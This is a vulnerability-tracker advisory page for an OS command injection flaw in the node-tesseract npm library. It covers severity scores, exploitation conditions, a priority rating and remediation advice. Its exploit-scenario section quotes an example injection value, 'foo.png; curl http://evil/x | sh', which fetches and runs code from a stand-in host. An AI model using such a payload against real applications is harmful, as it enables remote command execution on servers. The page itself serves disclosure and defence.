Skip to main content

node-tesseract CVE-2026-117511

| EUVDEUVD-2026-111143 MEDIUM
OS Command Injection (CWE-78)
2026-10-27 VulDB GHSA-7xrv-c458-6gmj
5.5
CVSS 4.0 · Vendor: VulDB
View

Attack ChainAIDerived

Hypothetical attack flow derived from CVE metadata – not a confirmed exploit chain

  1. Access
    Supply crafted value in image argument
  2. Exploit
    Inject shell metacharacters into Tesseract command builder
  3. Impact
    Execute arbitrary OS commands as Node process

Vulnerability Assessment

Weakness
CWE
OWASP Top 10:2025
A05:2025 - Injection
ASVS 5.0
V1 - Encoding and Sanitization OS command sanitization, avoid shell exec
MITRE ATT&CK

2 techniques across 1 tactic: Execution

The technique list with ATT&CK links and the kill-chain view is part of the Basic plan and up.

Exploitation Conditions

Requires a consuming application using node-tesseract 0.2.0-0.2.7 that passes attacker-controlled data into the 'image' argument of the process() function without sanitization; the Command Builder concatenates this value into the Tesseract OCR shell invocation, so a value containing shell metacharacters triggers OS command injection. Limiting factors: the flaw is in a library, so it is only exploitable where the application actually exposes the image parameter to untrusted input and reaches process() - it is not exploitable against the package in isolation; authentication and network reachability depend entirely on that host application. No fixed version is available, as the project has not responded to the issue report.

Impact

This is a CWE-78 OS command injection in the desmondmorris node-tesseract npm library (versions 0.2.0 through 0.2.7), reachable through the unsanitized 'image' argument of the process() function in lib/tesseract.js. The supplied CVSS 4.0 vector (AV:N/AC:L/AT:N/PR:N/UI:N/VC:L/VI:L/VA:L, score 5.5, medium) with E:P reflects VulDB's scoring, which rates confidentiality, integrity and availability impact as only Low - this conflicts with the typical consequence of a CWE-78 flaw, where injecting shell metacharacters yields arbitrary OS command execution under the Node process privileges (normally High impact); the discrepancy should be reconciled with the vendor, who has not responded. Exploitation signals are modest: no CISA KEV listing, no EPSS probability provided in the input, and the public artifact is a GitHub issue reference that is not verified as working exploit code (E:P / proof-of-concept). The vuln.today decision label is 'this_month', indicating a near-term rather than emergency priority. Crucially, node-tesseract is a library: the AV:N and PR:N metrics are inherited from whatever consuming application exposes the image parameter to untrusted input, not intrinsic to the package - real-world risk is therefore gated on integration patterns, so this is a genuine but conditional priority rather than a broadly wormable internet-facing bug. No fixed version exists because the project was notified via an issue report but has not responded.

Exploit ScenarioDerived

An application built on node-tesseract (≤0.2.7) passes a user-supplied filename or path into the 'image' argument of process(), which is concatenated into the Tesseract OCR shell command. An attacker submits a value containing shell metacharacters (for example an image field like foo.png; curl http://evil/x | sh), causing the injected command to execute on the server with the Node process's privileges. A public PoC reference exists (the vendor GitHub issue #72); it is not verified as working exploit code.

This Month Plan within 30 days. Why: MEDIUM severity (CVSS 4.0-6.9).
No patch listed yet 1.6% exploitation probability (EPSS)

Get an e-mail when this CVE is exploited, patched or re-scored. Free account.

Alert me

AnalysisAIv1 – Oct 28, 2026

OS command injection in the desmondmorris node-tesseract npm library (versions 0.2.0 through 0.2.7) allows remote attackers to execute arbitrary shell commands when a consuming application passes unsanitized input into the 'image' argument of the process() function in lib/tesseract.js, because the Command Builder concatenates that value into the Tesseract OCR shell invocation. The package is not exploitable in isolation: reachability, authentication requirements and real-world impact depend entirely on the host application that exposes the image parameter to untrusted input. A public PoC reference exists in the project's GitHub issue tracker; it is not verified as working exploit code, and no vendor fix has been released because the maintainer has not responded to the report.

RemediationAI

No vendor-released patch has been identified at the time of analysis: the project was notified through the GitHub issue (https://github.com/desmondmorris/node-tesseract/issues/72) and has not responded, so there is no fixed release for the 0.2.x line. Because the flaw lives in the shell string that the Command Builder assembles in lib/tesseract.js, the most direct compensating control is to stop attacker-controlled data from reaching the image argument: validate it against a strict allowlist of known filenames or an absolute path restricted to a fixed upload directory, reject any value containing shell metacharacters such as ;, &, |, $, backticks, newlines or quotes, and never build that value from raw request parameters. Where the wrapper cannot be validated away, fork or vendor the library and replace the shell-based invocation with an argument-vector call (child_process.execFile or spawn with an argument array and shell disabled) - this removes shell interpretation entirely, at the cost of maintaining a patched fork. As defence in depth, run the OCR worker under a low-privilege account or in a container with a read-only filesystem and no outbound network, and constrain the Tesseract binary to a controlled working directory; these reduce blast radius if injection still occurs but do not fix the vulnerable code path. Monitor the upstream repository and VulDB entry https://vuldb.com/vuln/427077 for a patched release before upgrading.

Affected VersionsENISA

node-tesseract 0.2.0
node-tesseract 0.2.5
node-tesseract 0.2.1
node-tesseract 0.2.4
node-tesseract 0.2.3
node-tesseract 0.2.7
node-tesseract 0.2.2
node-tesseract 0.2.6

Affected Packages

euvd node_tesseract no fix

Source: OSV (Open Source Vulnerabilities)

Affects your stack

Affects 1 package in euvd

Checking this CVE against your own stacks and servers is part of the Basic plan and up.

Technical ContextAI · show details

node-tesseract is a thin Node.js wrapper that shells out to the Tesseract OCR binary. The vulnerable code path is the Command Builder inside lib/tesseract.js, where options such as the input image path are assembled into a command string that is handed to a shell-based child-process call rather than being passed as a discrete argument vector. This is a classic CWE-78 OS command injection: shell metacharacters embedded in the 'image' value are interpreted by the shell instead of being treated as a literal file path, giving an attacker who controls that value the ability to append or substitute commands executed with the privileges of the Node.js process. Per the CPE cpe:2.3:a:desmondmorris:node-tesseract:*:*:*:*:*:*:*:*, the entire published version line is in scope, with EUVD enumerating 0.2.0 through 0.2.7. The CNA scores this at CVSS 4.0 5.5, while the independent assessment rates it CVSS 3.1 AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H, reflecting full confidentiality, integrity and availability impact when the library is used as intended with untrusted image input; the discrepancy reflects how much of the exploitation precondition each scoring authority chose to assume.

Know when Node Tesseract gets its next vulnerability

  • Watch products and get an email when something new is published
  • Check this CVE against your own stack and servers
  • Exploit and PoC references, threat intelligence from 22 sources

No credit card · 7-day full trial

Severity by source

Vendor (VulDB) PRIMARY 5.5 MEDIUM
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:L/VI:L/VA:L/SC:N/SI:N/SA:N/E:P
vuln.today AI 9.8 CRITICAL

CWE-78 injection via an app-exposed image argument yields arbitrary command execution (C/I/A:H); AV:N/PR:N/UI:N are inherited from the typical unauthenticated consuming app, not the library itself.

3.1 AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
4.0 AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N

Primary rating from Vendor (VulDB).

CVSS VectorVendor: VulDB

Attack Vector
Network
Attack Complexity
Low
Attack Requirements
None
Privileges Required
None
User Interaction
None
Vulnerable system: Confidentiality
Low
Vulnerable system: Integrity
Low
Vulnerable system: Availability
Low
Subsequent system: Confidentiality
None
Subsequent system: Integrity
None
Subsequent system: Availability
None

Lifecycle Timeline

2
CVSS changed
Oct 27, 2026 - 16:22 NVD
6.9 (MEDIUM) 5.5 (MEDIUM)
CVE Published
Oct 27, 2026 - 16:00 cve.org
MEDIUM 5.5

DescriptionCVE.org

A vulnerability has been found in desmondmorris node-tesseract up to 0.2.7. Affected by this issue is the function process of the file lib/tesseract.js of the component Command Builder. Such manipulation of the argument image leads to os command injection. The attack can be executed remotely. The exploit has been disclosed to the public and may be used. The project was informed of the problem early through an issue report but has not responded yet.

Threat Intelligence Overview

EPSS Score
1.6%
Top 24% exploitable
Prevalence
Low
niche, unmaintained npm OCR CLI wrapper; limited production footprint
Exploit
POC
Public exploit code exists
Data Quality
5 sources
Confidence: Medium

How this decision was reached

The engine reads each signal below and applies a fixed list of rules from top to bottom. The first rule that matches sets the recommended action – like a statement, every line is shown.

SignalValue
Severity MEDIUM
CISA KEV No
Public POC Yes
EPSS 1.6%
Patch available No
Active threat No
Deciding rule
MEDIUM severity (CVSS 4.0-6.9)
What every action level means
Emergency Immediate action required. Criteria: CRITICAL + in CISA KEV (actively exploited) without patch, OR CRITICAL + EPSS > 30% without patch, OR CRITICAL + active threat signals without patch.
Act Now Prioritize within 24-48h. Criteria: in KEV with patch available, OR CRITICAL + public POC, OR HIGH + EPSS > 10%, OR CRITICAL + active threat, OR any CRITICAL severity.
This Week Schedule remediation this week. Criteria: HIGH severity (CVSS 7.0-8.9). Patch within normal change window.
This Month Plan within 30 days. Criteria: MEDIUM severity (CVSS 4.0-6.9), lower exploitation probability. Include in regular patch cycle.
Monitor Track and reassess. Criteria: LOW severity (CVSS 0.1-3.9), minimal exploitation risk. No immediate action needed.

SSVC AssessmentENISA

SSVC Decision· derived
Scheduled
Exploitation· derived
Poc
System Exposure· derived
Open
Automatable· derived
Yes
Human Impact· derived
Medium

Priority Score

50
Low Medium High Critical
KEV: 0
EPSS: +2
CVSS: +28
PoC: +20
Weaponized: 0
Threat intel: 0
Gov advisory: 0

Attack Technique

OS command injection occurs when an application passes unsanitized user input directly into system shell commands.

This site uses cookies essential for authentication and security. No tracking or analytics cookies are used. Privacy Policy